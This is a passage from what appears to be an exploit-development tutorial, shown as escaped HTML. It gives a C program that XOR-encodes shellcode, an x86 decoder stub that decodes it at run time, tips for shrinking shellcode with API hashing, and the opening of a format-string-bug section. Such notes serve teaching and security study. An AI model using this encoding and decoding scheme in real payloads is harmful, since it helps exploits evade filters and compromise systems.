&lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;output&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;memory error!&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;// encode shellcode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;++&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;output&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;key&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;fp&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;fopen&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;encode.txt&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;w+&quot;&lt;/span&gt;&lt;span&gt;)))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;output file create error!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fprintf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;fp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\&quot;&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;++&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;fprintf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;fp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\\&lt;/span&gt;&lt;span&gt;x&lt;/span&gt;&lt;span&gt;%0.2x&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;output&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;((&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;fprintf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;fp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\&quot;\n\&quot;&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fprintf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;fp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\&quot;&lt;/span&gt;&lt;span&gt;;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fclose&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;fp&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;dump the encoded shellcode to encode.txt OK!&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;display_flag&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;++&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%0.2x&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;output&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;((&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;free&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;output&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;The decoder (ExpStd0402)&lt;a href=&quot;#the-decoder-expstd0402&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;The decoder runs together with the shellcode&lt;/li&gt;
&lt;li&gt;It assumes EAX points at the start of the shellcode when it begins&lt;/li&gt;
&lt;li&gt;The last byte of the shellcode is 0x90&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void main()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;__asm&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x14&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;;skip past the decoder (exactly 0x14 bytes) to where the shellcode starts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;decode_loop:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bl&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bl&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x44&lt;/span&gt;&lt;span&gt;             &lt;/span&gt;&lt;span&gt;;0x44 is the key&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;], &lt;/span&gt;&lt;span&gt;bl&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;inc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cmp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bl&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x90&lt;/span&gt;&lt;span&gt;             &lt;/span&gt;&lt;span&gt;;a 0x90 at the end marks where to stop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;jne&lt;/span&gt;&lt;span&gt; decode_loop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Making shellcode smaller&lt;a href=&quot;#making-shellcode-smaller&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Tricks&lt;a href=&quot;#tricks&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Pick short instructions
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;xchg eax, reg&lt;/code&gt;   ;swap &lt;code&gt;eax&lt;/code&gt; with another register&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lodsb&lt;/code&gt;           ;load the &lt;code&gt;byte&lt;/code&gt; at &lt;code&gt;esi&lt;/code&gt; into &lt;code&gt;al&lt;/code&gt; and advance &lt;code&gt;esi&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lodsd&lt;/code&gt;           ;load the &lt;code&gt;dword&lt;/code&gt; at &lt;code&gt;esi&lt;/code&gt; into &lt;code&gt;eax&lt;/code&gt; and advance &lt;code&gt;esi&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stosd&lt;/code&gt;           ;copy &lt;code&gt;eax&lt;/code&gt; to the address in &lt;code&gt;edi&lt;/code&gt;, adding &lt;code&gt;0x4&lt;/code&gt; to &lt;code&gt;edi&lt;/code&gt; each time; with &lt;code&gt;rep&lt;/code&gt;, &lt;code&gt;ecx&lt;/code&gt; is the count&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stosb&lt;/code&gt;           ;copy &lt;code&gt;al&lt;/code&gt; to the address in &lt;code&gt;edi&lt;/code&gt;, adding &lt;code&gt;0x1&lt;/code&gt; to &lt;code&gt;edi&lt;/code&gt; each time; with &lt;code&gt;rep&lt;/code&gt;, &lt;code&gt;ecx&lt;/code&gt; is the count&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pushad/popad&lt;/code&gt;    ;save/restore every register on the stack&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cdq&lt;/code&gt;             ;sign-extend &lt;code&gt;eax&lt;/code&gt; into &lt;code&gt;edx&lt;/code&gt;, which works as &lt;code&gt;mov edx, 0&lt;/code&gt; when &lt;code&gt;eax&amp;lt;0x80000000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Combine instructions that can do two jobs at once&lt;/li&gt;
&lt;li&gt;Zero out a patch of stack before pushing API arguments, so you only need to push the non-zero ones&lt;/li&gt;
&lt;li&gt;Use code as data and data as code&lt;/li&gt;
&lt;li&gt;If the data above the top of the stack is still useful, raise the stack top to protect it for later&lt;/li&gt;
&lt;li&gt;Some registers always get saved on the stack around API calls, but most functions never use EBP, so EBP is a good place to keep data&lt;/li&gt;
&lt;li&gt;Store APIs as hashes&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Choosing a good hash&lt;a href=&quot;#choosing-a-good-hash&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;8 bits can only tell 256 values apart, so collisions are unavoidable. But if the function you need is the first one in a collision, you can still use it&lt;/li&gt;
&lt;li&gt;In other words, some collisions are fine&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Format string bugs&lt;a href=&quot;#format-string-bugs&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Last, a quick note on another kind of bug that can change memory. Unlike an overflow, it doesn’t need to write out of bounds.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;What’s wrong with printf&lt;a href=&quot;#whats-wrong-with-printf&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;Example&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;stdio.h&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;44&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt; 